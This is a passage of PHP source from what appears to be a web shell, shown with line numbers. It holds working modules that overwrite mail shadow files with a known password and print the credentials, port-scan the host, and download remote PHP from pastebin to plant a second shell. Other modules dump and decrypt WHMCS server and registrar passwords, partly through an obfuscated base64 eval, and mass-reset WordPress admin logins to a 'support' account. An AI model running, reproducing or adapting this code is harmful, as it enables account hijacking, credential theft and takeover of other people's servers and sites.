1503$pwd = crypt($password, '$6$D3F4ULT--$');
1504$t = $_SERVER['SERVER_NAME'];
1505$t = @str_replace("www.", "", $t);
1506@$passwd = file_get_contents('/home/' . $user . '/etc/' . $t . '/shadow');
1507$ex = explode("\r\n", $passwd);
1508@link('/home/' . $user . '/etc/' . $t . '/shadow', '/home/' . $user . '/etc/' . $t . '/shadow.attacker.bak');
1509@unlink('/home/' . $user . '/etc/' . $t . '/shadow');
1510foreach ($ex as $ex)
1511{
1512 $ex = explode(':', $ex);
1513 $e = $ex[0];
1514 if ($e)
1515 {
1516 $b = fopen('/home/' . $user . '/etc/' . $t . '/shadow', 'ab');
1517 fwrite($b, $e . ':' . $pwd . ':16249:::::' . "\r\n");
1518 fclose($b);
1519 echo '<center><span class=\'top\'>' . $t . '|587|' . $e . '@' . $t . '|' . $password . '</span><br>';
1520 "</center>";
1521 }
1522}
1523foreach ($ports as $port)
1524{
1525 $connection = @fsockopen($t, $port, $errno, $errstr, 2);
1526 if (is_resource($connection))
1527 {
1528 echo '<center><h2 class="top">' . $host . ':' . $port . ' ' . '(' . getservbyport($port, 'tcp') . ') is open.</h2>' . "\n";
1529 fclose($connection);
1530 }
1531}
1532}
1533elseif(isset($_GET['x']) && ($_GET['x'] == 'wso'))
1534{
1535 echo '<center><h1 class="k2ll33d2">** Silence is gold **</h1></center>';
1536 echo '<center><h2 class="top">disable_functions:<br></h2> ' . ini_get('disable_functions');
1537 echo '<center><h6 class="top">'.$unix.'</h6></center>';
1538 $htaccess = "http://pastebin.com/raw/waK5kMBi";
1539 $file = file_get_contents($htaccess);
1540 $rand = rand(1, 10000);
1541 $open = fopen($rand.".php" , 'w');
1542 fwrite($open,$file);
1543 fclose($open);
1544 if($open) {
1545 echo" <a class='top' href=$rand.php><center><b>Sucess Upload :D ==> $rand.php</b></center></a>";
1546
1547 } else {
1548 echo "<center><br>[-] Error ./";
1549 }
1550}
1551elseif (isset($_GET['x']) && ($_GET['x'] == 'adminer'))
1552{
1553 $full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir);
1554 function adminer($url, $isi) {
1555 $fp = fopen($isi, "w");
1556 $ch = curl_init();
1557 curl_setopt($ch, CURLOPT_URL, $url);
1558 curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);
1559 curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
1560 curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
1561 curl_setopt($ch, CURLOPT_FILE, $fp);
1562 return curl_exec($ch);
1563 curl_close($ch);
1564 fclose($fp);
1565 ob_flush();
1566 flush();
1567 }
1568 if(file_exists('adminer.php')) {
1569 echo "<center><font color=lime><a href='$full/adminer.php' target='_blank'>-> adminer login <-</a></font></center>";
1570 } else {
1571 if(adminer("https://github.com/vrana/adminer/releases/download/v4.7.5/adminer-4.7.5-mysql.php","adminer.php")) {
1572 echo "<center><font color=lime><a href='$full/adminer.php' target='_blank'>-> adminer login <-</a></font></center>";
1573 } else {
1574 echo "<center><font color=red>open adminer</font></center>";
1575 }
1576 }
1577}
1578elseif (isset($_GET['x']) && ($_GET['x'] == 'whmcs'))
1579{
1580 if ($_POST['form_action'] == 1)
1581 {
1582 //include($file);
1583 $file = ($_POST['file']);
1584 $text = file_get_contents($file);
1585
1586 $text = str_replace("<?php", "", $text);
1587 $text = str_replace("<?", "", $text);
1588 $text = str_replace("?>", "", $text);
1589
1590 eval($text);
1591
1592 $link = mysql_connect($db_host, $db_username, $db_password);
1593 mysql_select_db($db_name, $link);
1594
1595 $query = mysql_query("SELECT * FROM tblservers");
1596
1597 while ($v = mysql_fetch_array($query))
1598 {
1599
1600 $ipaddress = $v['ipaddress'];
1601 $username = $v['username'];
1602 $type = $v['type'];
1603 $active = $v['active'];
1604 $hostname = $v['hostname'];
1605
1606 echo ("<center><table border='1'>");
1607 $password = decrypt($v['password'], $cc_encryption_hash);
1608 echo ("<tr><td>Type</td><td>$type</td></tr>");
1609 echo ("<tr><td>Active</td><td>$active</td></tr>");
1610 echo ("<tr><td>Hostname</td><td>$hostname</td></tr>");
1611 echo ("<tr><td>Ip</td><td>$ipaddress</td></tr>");
1612 echo ("<tr><td>Username</td><td>$username</td></tr>");
1613 echo ("<tr><td>Password</td><td>$password</td></tr>");
1614
1615 echo "</table><br><br></center>";
1616
1617 }
1618
1619 $link = mysql_connect($db_host, $db_username, $db_password);
1620 mysql_select_db($db_name, $link);
1621
1622 $query = mysql_query("SELECT * FROM tblregistrars");
1623 echo ("<center>Domain Reseller <br><table border='1'>");
1624 echo ("<tr><td>Registrar</td><td>Setting</td><td>Value</td></tr>");
1625 while ($v = mysql_fetch_array($query))
1626 {
1627
1628 $registrar = $v['registrar'];
1629 $setting = $v['setting'];
1630 $value = decrypt($v['value'], $cc_encryption_hash);
1631 if ($value == "")
1632 {
1633 $value = 0;
1634 }
1635 $password = decrypt($v['password'], $cc_encryption_hash);
1636 echo ("<tr><td>$registrar</td><td>$setting</td><td>$value</td></tr>");
1637
1638 }
1639 echo "</table><br><br></center>";
1640 }
1641
1642 if ($_POST['form_action'] == 2)
1643 {
1644 //include($file);
1645 $db_host = ($_POST['db_host']);
1646 $db_username = ($_POST['db_username']);
1647 $db_password = ($_POST['db_password']);
1648 $db_name = ($_POST['db_name']);
1649 $cc_encryption_hash = ($_POST['cc_encryption_hash']);
1650
1651 $link = mysql_connect($db_host, $db_username, $db_password);
1652 mysql_select_db($db_name, $link);
1653
1654 $query = mysql_query("SELECT * FROM tblservers");
1655
1656 while ($v = mysql_fetch_array($query))
1657 {
1658
1659 $ipaddress = $v['ipaddress'];
1660 $username = $v['username'];
1661 $type = $v['type'];
1662 $active = $v['active'];
1663 $hostname = $v['hostname'];
1664
1665 echo ("<center><table border='1'>");
1666 $password = decrypt($v['password'], $cc_encryption_hash);
1667 echo ("<tr><td>Type</td><td>$type</td></tr>");
1668 echo ("<tr><td>Active</td><td>$active</td></tr>");
1669 echo ("<tr><td>Hostname</td><td>$hostname</td></tr>");
1670 echo ("<tr><td>Ip</td><td>$ipaddress</td></tr>");
1671 echo ("<tr><td>Username</td><td>$username</td></tr>");
1672 echo ("<tr><td>Password</td><td>$password</td></tr>");
1673
1674 echo "</table><br><br></center>";
1675
1676 }
1677
1678 $link = mysql_connect($db_host, $db_username, $db_password);
1679 mysql_select_db($db_name, $link);
1680
1681 $query = mysql_query("SELECT * FROM tblregistrars");
1682 echo ("<center>Domain Reseller <br><table border='1'>");
1683 echo ("<tr><td>Registrar</td><td>Setting</td><td>Value</td></tr>");
1684 while ($v = mysql_fetch_array($query))
1685 {
1686
1687 $registrar = $v['registrar'];
1688 $setting = $v['setting'];
1689 $value = decrypt($v['value'], $cc_encryption_hash);
1690 if ($value == "")
1691 {
1692 $value = 0;
1693 }
1694 $password = decrypt($v['password'], $cc_encryption_hash);
1695 echo ("<tr><td>$registrar</td><td>$setting</td><td>$value</td></tr>");
1696
1697 }
1698 echo "</table><br><br></center>";
1699 }
1700 if ($_POST['form_action'] == 3)
1701 {
1702
1703 $password = ($_POST['password']);
1704
1705 $cc_encryption_hash = ($_POST['cc_encryption_hash']);
1706
1707 $password = decrypt($password, $cc_encryption_hash);
1708
1709 echo ("Password is " . $password);
1710
1711 }
1712 echo "<center><body>
1713 <style>
1714
1715 BODY { SCROLLBAR-BASE-COLOR: #191919; SCROLLBAR-ARROW-COLOR: olive; color: white;}
1716 textarea{background-color:#191919;color:red;font-weight:bold;font-size: 12px;font-family: Tahoma; border: 1px solid #666666;}
1717 input{FONT-WEIGHT:normal;background-color: #191919;font-size: 13px;font-weight:bold;color: red; font-family: Tahoma; border: 1px solid #666666;height:17}
1718 </style>
1719 <center>
1720 <h1 class='k2ll33d2'> WHMCS Server Database Extractor </h1><br><br>
1721 <font color='#f6060b' size='+2'>Symlink to configuration.php of WHMCS</font><br>
1722 </center>
1723 <FORM action='' method='post'>
1724 <input type='hidden' name='form_action' value='1'>
1725 <br>
1726 <input class='inputz' type='text' size='30' name='file' value=''>
1727 <br>
1728 <INPUT class=inputz type='submit' value='Submit' name='Submit'>
1729 </FORM>
1730 <hr>
1731
1732 <br>
1733 <center>
1734 <font color='#f6060b' size='+2'>DB configuration of WHMCS</font><br>
1735 </center>
1736 <FORM action='' method='post'>
1737 <input type='hidden' name='form_action' value='2'>
1738 <br>
1739 <table border=1 style='border-radius: 12px'>
1740
1741 <tr><td>db_host </td><td><input class='inputz' type='text' size='30' name='db_host' value='localhost'></td></tr>
1742 <tr><td>db_username </td><td><input class='inputz' type='text' size='30' name='db_username' value=''></td></tr>
1743 <tr><td>db_password</td><td><input class='inputz' type='text' size='30' name='db_password' value=''></td></tr>
1744 <tr><td>db_name</td><td><input class='inputz' type='text' size='30' name='db_name' value=''><td></tr>
1745 <tr><td>cc_encryption_hash</td><td><input class='inputz' type='text' size='30' name='cc_encryption_hash' value=''></td></tr>
1746
1747 </table>
1748 <br>
1749 <INPUT class=inputz type='submit' value='Submit' name='Submit'>
1750 </FORM>
1751 <hr>
1752 <center>
1753 <font color='#0066FF' size='+2'>Password decoder</font><br>
1754 </center>
1755 <FORM action='' method='post'>
1756 <input class='inputz' type='hidden' name='form_action' value='3'>
1757 <br>
1758 <table border=1>
1759
1760 <tr><td>Password</td><td><input type='text' size='30' name='password' value=''></td></tr>
1761 <tr><td>cc_encryption_hash</td><td><input type='text' size='30' name='cc_encryption_hash' value=''></td></tr>
1762
1763 </table>
1764 <br>
1765 <INPUT class=inputz type='submit' value='Submit' name='Submit'>
1766 </FORM>
1767 <hr>
1768 </body></html>";
1769}
1770elseif (isset($_GET['x']) && $_GET['x'] == 'boom')
1771{
1772 if ($_POST['ch'])
1773{
1774 $get2 = file_get_contents($_POST['config']);
1775 preg_match_all('#<a href="(.*?)"#', $get2, $config);
1776 foreach ($config[1] as $don)
1777 {
1778 $get = file_get_contents($_POST['config'] . "/" . $don);
1779
1780 preg_match_all("#'DB_HOST', '(.*?)'#", $get, $host);
1781 foreach ($host[1] as $don)
1782 {
1783 $host = $don;
1784 }
1785 ###
1786 preg_match_all("#'DB_PASSWORD', '(.*?)'#", $get, $pass);
1787 foreach ($pass[1] as $done)
1788 {
1789 $password = $done;
1790 }
1791 ###
1792 preg_match_all("#'DB_USER', '(.*?)'#", $get, $user);
1793 foreach ($user[1] as $done1)
1794 {
1795 $user = $done1;
1796 }
1797 ###
1798 preg_match_all("#'DB_NAME', '(.*?)'#", $get, $name);
1799 foreach ($name[1] as $done2)
1800 {
1801 $name = $done2;
1802 }
1803 ###
1804 preg_match_all("#$table_prefix = '(.*?)'#", $get, $prefix);
1805 foreach ($prefix[1] as $done3)
1806 {
1807 $prefix = $done3;
1808 }
1809 $connect = mysqli_connect($host, $user, $password, $name);
1810 if ($connect)
1811 {
1812 $query1 = mysqli_query($connect, "select * from " . $prefix . "options where option_name='siteurl'");
1813 while ($siteurl = mysqli_fetch_array($query1))
1814 {
1815 $site_url = $siteurl['option_value'];
1816 }
1817 #####
1818 $query2 = mysqli_query($connect, "update " . $prefix . "users set user_login='support',user_pass='af40dfc1d7fc12e1b4b301c0caef550d'");
1819 if ($query2)
1820 {
1821 echo "URL : <a href='$site_url/wp-login.php' target='_blank'>$site_url</a><br><br>UserName : support<br><br>Password : RANDOM--11<br><br>";
1822 }
1823 }
1824 }
1825}
1826echo'<center><a class="k2ll33d2">Wordpress Bulk Password Changer</a>
1827<form method="post">
1828<input class="inputz" type="text" name="conf" value="http://link.io/dir" /><br>
1829<input class="inputz" type="submit" value="Change Passwords" name="get" />
1830</form>';
1831}
1832elseif (isset($_GET['x']) && $_GET['x'] == 'whmcs')
1833{
1834 eval(base64_decode('ZnVuY3Rpb24gZGVjcnlwdCAoJHN0cmluZywkY2NfZW5jcnlwdGlvbl9oYXNoKQ0Kew0KDQoJJGtleSA9IG1kNSAobWQ1ICgkY2NfZW5jcnlwdGlvbl9oYXNoKSkgLiBtZDUgKCRjY19lbmNyeXB0aW9uX2hhc2gpOw0KCSRoYXNoX2tleSA9IF9oYXNoICgka2V5KTsNCgkkaGFzaF9sZW5ndGggPSBzdHJsZW4gKCRoYXNoX2tleSk7DQoJJHN0cmluZyA9IGJhc2U2NF9kZWNvZGUgKCRzdHJpbmcpOw0KCSR0bXBfaXYgPSBzdWJzdHIgKCRzdHJpbmcsIDAsICRoYXNoX2xlbmd0aCk7DQoJJHN0cmluZyA9IHN1YnN0ciAoJHN0cmluZywgJGhhc2hfbGVuZ3RoLCBzdHJsZW4gKCRzdHJpbmcpIC0gJGhhc2hfbGVuZ3RoKTsNCgkkaXYgPSAkb3V0ID0gJyc7DQoJJGMgPSAwOw0KCXdoaWxlICgkYyA8ICRoYXNoX2xlbmd0aCkNCgl7DQoJCSRpdiAuPSBjaHIgKG9yZCAoJHRtcF9pdlskY10pIF4gb3JkICgkaGFzaF9rZXlbJGNdKSk7DQoJCSsrJGM7DQoJfQ0KDQoJJGtleSA9ICRpdjsNCgkkYyA9IDA7DQoJd2hpbGUgKCRjIDwgc3RybGVuICgkc3RyaW5nKSkNCgl7DQoJCWlmICgoJGMgIT0gMCBBTkQgJGMgJSAkaGFzaF9sZW5ndGggPT0gMCkpDQoJCXsNCgkJCSRrZXkgPSBfaGFzaCAoJGtleSAuIHN1YnN0ciAoJG91dCwgJGMgLSAkaGFzaF9sZW5ndGgsICRoYXNoX2xlbmd0aCkpOw0KCQl9DQoNCgkJJG91dCAuPSBjaHIgKG9yZCAoJGtleVskYyAlICRoYXNoX2xlbmd0aF0pIF4gb3JkICgkc3RyaW5nWyRjXSkpOw0KCQkrKyRjOw0KCX0NCg0KCXJldHVybiAkb3V0Ow0KfQ0KDQoNCmZ1bmN0aW9uIF9oYXNoICgkc3RyaW5nKQ0Kew0KCWlmIChmdW5jdGlvbl9leGlzdHMgKCdzaGExJykpDQoJew0KCQkkaGFzaCA9IHNoYTEgKCRzdHJpbmcpOw0KCX0NCgllbHNlDQoJew0KCQkkaGFzaCA9IG1kNSAoJHN0cmluZyk7DQoJfQ0KDQoJJG91dCA9ICcnOw0KCSRjID0gMDsNCgl3aGlsZSAoJGMgPCBzdHJsZW4gKCRoYXNoKSkNCgl7DQoJCSRvdXQgLj0gY2hyIChoZXhkZWMgKCRoYXNoWyRjXSAuICRoYXNoWyRjICsgMV0pKTsNCgkJJGMgKz0gMjsNCgl9DQoNCglyZXR1cm4gJG91dDsNCn0NCg0KIGlmKCRfUE9TVFsnZm9ybV9hY3Rpb24nXSA9PSAxICkNCiB7DQogLy9pbmNsdWRlKCRmaWxlKTsNCg0KICRmaWxlPSgkX1BPU1RbJ2ZpbGUnXSk7DQokdGV4dD1maWxlX2dldF9jb250ZW50cygkZmlsZSk7DQoNCiR0ZXh0PSBzdHJfcmVwbGFjZSgiPD9waHAiLCAiIiwgJHRleHQpOw0KJHRleHQ9IHN0cl9yZXBsYWNlKCI8PyIsICIiLCAkdGV4dCk7DQokdGV4dD0gc3RyX3JlcGxhY2UoIj8+IiwgIiIsICR0ZXh0KTsNCg0KZXZhbCgkdGV4dCk7DQoNCiAgICAkbGluaz1teXNxbF9jb25uZWN0KCRkYl9ob3N0LCRkYl91c2VybmFtZSwkZGJfcGFzc3dvcmQpIDsNCgkgICAgbXlzcWxfc2VsZWN0X2RiKCRkYl9uYW1lLCRsaW5rKSA7DQoNCiRxdWVyeSA9IG15c3FsX3F1ZXJ5KCJTRUxFQ1QgKiBGUk9NIHRibHNlcnZlcnMiKTsNCg0Kd2hpbGUoJHYgPSBteXNxbF9mZXRjaF9hcnJheSgkcXVlcnkpKSB7DQoNCiRpcGFkZHJlc3MgPSAkdlsnaXBhZGRyZXNzJ107DQokdXNlcm5hbWUgPSAkdlsndXNlcm5hbWUnXTsNCiR0eXBlID0gJHZbJ3R5cGUnXTsNCiRhY3RpdmUgPSAkdlsnYWN0aXZlJ107DQokaG9zdG5hbWUgPSAkdlsnaG9zdG5hbWUnXTsNCg0KZWNobygiPGNlbnRlcj48dGFibGUgYm9yZGVyPScxJz4iKTsNCiRwYXNzd29yZCA9IGRlY3J5cHQgKCR2WydwYXNzd29yZCddLCAkY2NfZW5jcnlwdGlvbl9oYXNoKTsNCmVjaG8oIjx0cj48dGQ+VHlwZTwvdGQ+PHRkPiR0eXBlPC90ZD48L3RyPiIpOw0KZWNobygiPHRyPjx0ZD5BY3RpdmU8L3RkPjx0ZD4kYWN0aXZlPC90ZD48L3RyPiIpOw0KZWNobygiPHRyPjx0ZD5Ib3N0bmFtZTwvdGQ+PHRkPiRob3N0bmFtZTwvdGQ+PC90cj4iKTsNCmVjaG8oIjx0cj48dGQ+SXA8L3RkPjx0ZD4kaXBhZGRyZXNzPC90ZD48L3RyPiIpOw0KZWNobygiPHRyPjx0ZD5Vc2VybmFtZTwvdGQ+PHRkPiR1c2VybmFtZTwvdGQ+PC90cj4iKTsNCmVjaG8oIjx0cj48dGQ+UGFzc3dvcmQ8L3RkPjx0ZD4kcGFzc3dvcmQ8L3RkPjwvdHI+Iik7DQoNCg0KZWNobyAiPC90YWJsZT48YnI+PGJyPjwvY2VudGVyPiI7DQoNCn0NCg0KICAgICRsaW5rPW15c3FsX2Nvbm5lY3QoJGRiX2hvc3QsJGRiX3VzZXJuYW1lLCRkYl9wYXNzd29yZCkgOw0KCSAgICBteXNxbF9zZWxlY3RfZGIoJGRiX25hbWUsJGxpbmspIDsNCg0KJHF1ZXJ5ID0gbXlzcWxfcXVlcnkoIlNFTEVDVCAqIEZST00gdGJscmVnaXN0cmFycyIpOw0KZWNobygiPGNlbnRlcj5Eb21haW4gUmVzZWxsZXIgPGJyPjx0YWJsZSBib3JkZXI9JzEnPiIpOw0KZWNobygiPHRyPjx0ZD5SZWdpc3RyYXI8L3RkPjx0ZD5TZXR0aW5nPC90ZD48dGQ+VmFsdWU8L3RkPjwvdHI+Iik7DQp3aGlsZSgkdiA9IG15c3FsX2ZldGNoX2FycmF5KCRxdWVyeSkpIHsNCg0KJHJlZ2lzdHJhciAJPSAkdlsncmVnaXN0cmFyJ107DQokc2V0dGluZyA9ICR2WydzZXR0aW5nJ107DQokdmFsdWUgPSBkZWNyeXB0ICgkdlsndmFsdWUnXSwgJGNjX2VuY3J5cHRpb25faGFzaCk7DQppZiAoJHZhbHVlPT0iIikgew0KJHZhbHVlPTA7DQp9DQokcGFzc3dvcmQgPSBkZWNyeXB0ICgkdlsncGFzc3dvcmQnXSwgJGNjX2VuY3J5cHRpb25faGFzaCk7DQplY2hvKCI8dHI+PHRkPiRyZWdpc3RyYXI8L3RkPjx0ZD4kc2V0dGluZzwvdGQ+PHRkPiR2YWx1ZTwvdGQ+PC90cj4iKTsNCg0KDQoNCg0KDQp9DQplY2hvICI8L3RhYmxlPjxicj48YnI+PC9jZW50ZXI+IjsNCn0NCg0KDQoNCiBpZigkX1BPU1RbJ2Zvcm1fYWN0aW9uJ10gPT0gMiApDQogew0KIC8vaW5jbHVkZSgkZmlsZSk7DQoNCiAkZGJfaG9zdD0oJF9QT1NUWydkYl9ob3N0J10pOw0KICRkYl91c2VybmFtZT0oJF9QT1NUWydkYl91c2VybmFtZSddKTsNCiAkZGJfcGFzc3dvcmQ9KCRfUE9TVFsnZGJfcGFzc3dvcmQnXSk7DQogJGRiX25hbWU9KCRfUE9TVFsnZGJfbmFtZSddKTsNCiAkY2NfZW5jcnlwdGlvbl9oYXNoPSgkX1BPU1RbJ2NjX2VuY3J5cHRpb25faGFzaCddKTsNCg0KDQoNCg0KICAgICRsaW5rPW15c3FsX2Nvbm5lY3QoJGRiX2hvc3QsJGRiX3VzZXJuYW1lLCRkYl9wYXNzd29yZCkgOw0KCSAgICBteXNxbF9zZWxlY3RfZGIoJGRiX25hbWUsJGxpbmspIDsNCg0KJHF1ZXJ5ID0gbXlzcWxfcXVlcnkoIlNFTEVDVCAqIEZST00gdGJsc2VydmVycyIpOw0KDQp3aGlsZSgkdiA9IG15c3FsX2ZldGNoX2FycmF5KCRxdWVyeSkpIHsNCg0KJGlwYWRkcmVzcyA9ICR2WydpcGFkZHJlc3MnXTsNCiR1c2VybmFtZSA9ICR2Wyd1c2VybmFtZSddOw0KJHR5cGUgPSAkdlsndHlwZSddOw0KJGFjdGl2ZSA9ICR2WydhY3RpdmUnXTsNCiRob3N0bmFtZSA9ICR2Wydob3N0bmFtZSddOw0KDQplY2hvKCI8Y2VudGVyPjx0YWJsZSBib3JkZXI9JzEnPiIpOw0KJHBhc3N3b3JkID0gZGVjcnlwdCAoJHZbJ3Bhc3N3b3JkJ10sICRjY19lbmNyeXB0aW9uX2hhc2gpOw0KZWNobygiPHRyPjx0ZD5UeXBlPC90ZD48dGQ+JHR5cGU8L3RkPjwvdHI+Iik7DQplY2hvKCI8dHI+PHRkPkFjdGl2ZTwvdGQ+PHRkPiRhY3RpdmU8L3RkPjwvdHI+Iik7DQplY2hvKCI8dHI+PHRkPkhvc3RuYW1lPC90ZD48dGQ+JGhvc3RuYW1lPC90ZD48L3RyPiIpOw0KZWNobygiPHRyPjx0ZD5JcDwvdGQ+PHRkPiRpcGFkZHJlc3M8L3RkPjwvdHI+Iik7DQplY2hvKCI8dHI+PHRkPlVzZXJuYW1lPC90ZD48dGQ+JHVzZXJuYW1lPC90ZD48L3RyPiIpOw0KZWNobygiPHRyPjx0ZD5QYXNzd29yZDwvdGQ+PHRkPiRwYXNzd29yZDwvdGQ+PC90cj4iKTsNCg0KDQplY2hvICI8L3RhYmxlPjxicj48YnI+PC9jZW50ZXI+IjsNCg0KfQ0KDQoNCiAgICAkbGluaz1teXNxbF9jb25uZWN0KCRkYl9ob3N0LCRkYl91c2VybmFtZSwkZGJfcGFzc3dvcmQpIDsNCgkgICAgbXlzcWxfc2VsZWN0X2RiKCRkYl9uYW1lLCRsaW5rKSA7DQoNCiRxdWVyeSA9IG15c3FsX3F1ZXJ5KCJTRUxFQ1QgKiBGUk9NIHRibHJlZ2lzdHJhcnMiKTsNCmVjaG8oIjxjZW50ZXI+RG9tYWluIFJlc2VsbGVyIDxicj48dGFibGUgYm9yZGVyPScxJz4iKTsNCmVjaG8oIjx0cj48dGQ+UmVnaXN0cmFyPC90ZD48dGQ+U2V0dGluZzwvdGQ+PHRkPlZhbHVlPC90ZD48L3RyPiIpOw0Kd2hpbGUoJHYgPSBteXNxbF9mZXRjaF9hcnJheSgkcXVlcnkpKSB7DQoNCiRyZWdpc3RyYXIgCT0gJHZbJ3JlZ2lzdHJhciddOw0KJHNldHRpbmcgPSAkdlsnc2V0dGluZyddOw0KJHZhbHVlID0gZGVjcnlwdCAoJHZbJ3ZhbHVlJ10sICRjY19lbmNyeXB0aW9uX2hhc2gpOw0KaWYgKCR2YWx1ZT09IiIpIHsNCiR2YWx1ZT0wOw0KfQ0KJHBhc3N3b3JkID0gZGVjcnlwdCAoJHZbJ3Bhc3N3b3JkJ10sICRjY19lbmNyeXB0aW9uX2hhc2gpOw0KZWNobygiPHRyPjx0ZD4kcmVnaXN0cmFyPC90ZD48dGQ+JHNldHRpbmc8L3RkPjx0ZD4kdmFsdWU8L3RkPjwvdHI+Iik7DQoNCg0KDQoNCg0KfQ0KZWNobyAiPC90YWJsZT48YnI+PGJyPjwvY2VudGVyPiI7DQp9DQoNCg0KDQoNCj8+PGNlbnRlcj48Ym9keT4NCiA8c3R5bGU+DQoNCkJPRFkgeyBTQ1JPTExCQVItQkFTRS1DT0xPUjogIzE5MTkxOTsgU0NST0xMQkFSLUFSUk9XLUNPTE9SOiBvbGl2ZTsgICBjb2xvcjogd2hpdGU7fQ0KdGV4dGFyZWF7YmFja2dyb3VuZC1jb2xvcjojMTkxOTE5O2NvbG9yOnJlZDtmb250LXdlaWdodDpib2xkO2ZvbnQtc2l6ZTogMTJweDtmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2O30NCmlucHV0e0ZPTlQtV0VJR0hUOm5vcm1hbDtiYWNrZ3JvdW5kLWNvbG9yOiAjMTkxOTE5O2ZvbnQtc2l6ZTogMTNweDtmb250LXdlaWdodDpib2xkO2NvbG9yOiByZWQ7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMXB4IHNvbGlkICM2NjY2NjY7aGVpZ2h0OjE3fQ0KPC9zdHlsZT4NCjxjZW50ZXI+DQo8aDEgY2xhc3M9J2sybGwzM2QyJz5bIH5+IFdITUNTIFNlcnZlciBQYXNzd29yZCBkZWNvZGVyIH5+IF08L2gxPjxicj48YnI+DQo8Zm9udCBjb2xvcj0iI2Y2MDYwYiIgc2l6ZT0nKzInPlN5bWxpbmsgdG8gY29uZmlndXJhdGlvbi5waHAgb2YgV0hNQ1M8L2ZvbnQ+PGJyPg0KPC9jZW50ZXI+DQo8Rk9STSBhY3Rpb249IiIgIG1ldGhvZD0icG9zdCI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJmb3JtX2FjdGlvbiIgdmFsdWU9IjEiPg0KPGJyPg0KIDxpbnB1dCBjbGFzcz0naW5wdXR6JyB0eXBlPSJ0ZXh0IiBzaXplPSIzMCIgbmFtZT0iZmlsZSIgdmFsdWU9IiI+DQo8YnI+DQo8SU5QVVQgY2xhc3M9c3VibWl0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IlN1Ym1pdCIgbmFtZT0iU3VibWl0Ij4NCjwvRk9STT4NCjxocj4NCg0KPGJyPg0KPGNlbnRlcj4NCjxmb250IGNvbG9yPSIjZjYwNjBiIiBzaXplPScrMic+REIgY29uZmlndXJhdGlvbiBvZiBXSE1DUzwvZm9udD48YnI+DQo8L2NlbnRlcj4NCjxGT1JNIGFjdGlvbj0iIiAgbWV0aG9kPSJwb3N0Ij4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImZvcm1fYWN0aW9uIiB2YWx1ZT0iMiI+DQo8YnI+DQo8dGFibGUgYm9yZGVyPTE+DQoNCjx0cj48dGQ+ZGJfaG9zdCA8L3RkPjx0ZD48aW5wdXQgY2xhc3M9J2lucHV0eicgdHlwZT0idGV4dCIgc2l6ZT0iMzAiIG5hbWU9ImRiX2hvc3QiIHZhbHVlPSJsb2NhbGhvc3QiPjwvdGQ+PC90cj4NCjx0cj48dGQ+ZGJfdXNlcm5hbWUgPC90ZD48dGQ+PGlucHV0IGNsYXNzPSdpbnB1dHonIHR5cGU9InRleHQiIHNpemU9IjMwIiBuYW1lPSJkYl91c2VybmFtZSIgdmFsdWU9IiI+PC90ZD48L3RyPg0KPHRyPjx0ZD5kYl9wYXNzd29yZDwvdGQ+PHRkPjxpbnB1dCBjbGFzcz0naW5wdXR6JyB0eXBlPSJ0ZXh0IiBzaXplPSIzMCIgbmFtZT0iZGJfcGFzc3dvcmQiIHZhbHVlPSIiPjwvdGQ+PC90cj4NCjx0cj48dGQ+ZGJfbmFtZTwvdGQ+PHRkPjxpbnB1dCBjbGFzcz0naW5wdXR6JyB0eXBlPSJ0ZXh0IiBzaXplPSIzMCIgbmFtZT0iZGJfbmFtZSIgdmFsdWU9IiI+PHRkPjwvdHI+DQo8dHI+PHRkPmNjX2VuY3J5cHRpb25faGFzaDwvdGQ+PHRkPjxpbnB1dCBjbGFzcz0naW5wdXR6JyB0eXBlPSJ0ZXh0IiBzaXplPSIzMCIgbmFtZT0iY2NfZW5jcnlwdGlvbl9oYXNoIiB2YWx1ZT0iIj48L3RkPjwvdHI+DQoNCjwvdGFibGU+DQo8YnI+DQo8SU5QVVQgY2xhc3M9c3VibWl0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IlN1Ym1pdCIgbmFtZT0iU3VibWl0Ij4NCjwvRk9STT4NCjxocj4NCjxjZW50ZXI+DQo8Zm9udCBjb2xvcj0iIzAwNjZGRiIgc2l6ZT0nKzInPlBhc3N3b3JkIGRlY29kZXI8L2ZvbnQ+PGJyPg0KPD8NCiBpZigkX1BPU1RbJ2Zvcm1fYWN0aW9uJ10gPT0gMyApDQogew0KDQoNCg0KICRwYXNzd29yZD0oJF9QT1NUWydwYXNzd29yZCddKTsNCg0KICRjY19lbmNyeXB0aW9uX2hhc2g9KCRfUE9TVFsnY2NfZW5jcnlwdGlvbl9oYXNoJ10pOw0KDQoNCiRwYXNzd29yZCA9IGRlY3J5cHQgKCRwYXNzd29yZCwgJGNjX2VuY3J5cHRpb25faGFzaCk7DQoNCmVjaG8oIlBhc3N3b3JkIGlzICIuJHBhc3N3b3JkKTsNCg0KfQ0KPz4NCjwvY2VudGVyPg0KPEZPUk0gYWN0aW9uPSIiICBtZXRob2Q9InBvc3QiPg0KPGlucHV0IGNsYXNzPSdpbnB1dHonIHR5cGU9ImhpZGRlbiIgbmFtZT0iZm9ybV9hY3Rpb24iIHZhbHVlPSIzIj4NCjxicj4NCjx0YWJsZSBib3JkZXI9MT4NCg0KPHRyPjx0ZD5QYXNzd29yZDwvdGQ+PHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSIzMCIgbmFtZT0icGFzc3dvcmQiIHZhbHVlPSIiPjwvdGQ+PC90cj4NCjx0cj48dGQ+Y2NfZW5jcnlwdGlvbl9oYXNoPC90ZD48dGQ+PGlucHV0IHR5cGU9InRleHQiIHNpemU9IjMwIiBuYW1lPSJjY19lbmNyeXB0aW9uX2hhc2giIHZhbHVlPSIiPjwvdGQ+PC90cj4NCg0KPC90YWJsZT4NCjxicj4NCjxJTlBVVCBjbGFzcz1zdWJtaXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iU3VibWl0IiBuYW1lPSJTdWJtaXQiPg0KPC9GT1JNPg0KPGhyPg0KPC9ib2R5PjwvaHRtbD4='));
1835 exit;
1836}
1837
1838elseif (isset($_GET['x']) && ($_GET['x'] == 'brute'))
1839{
1840 $connect_timeout = 5;
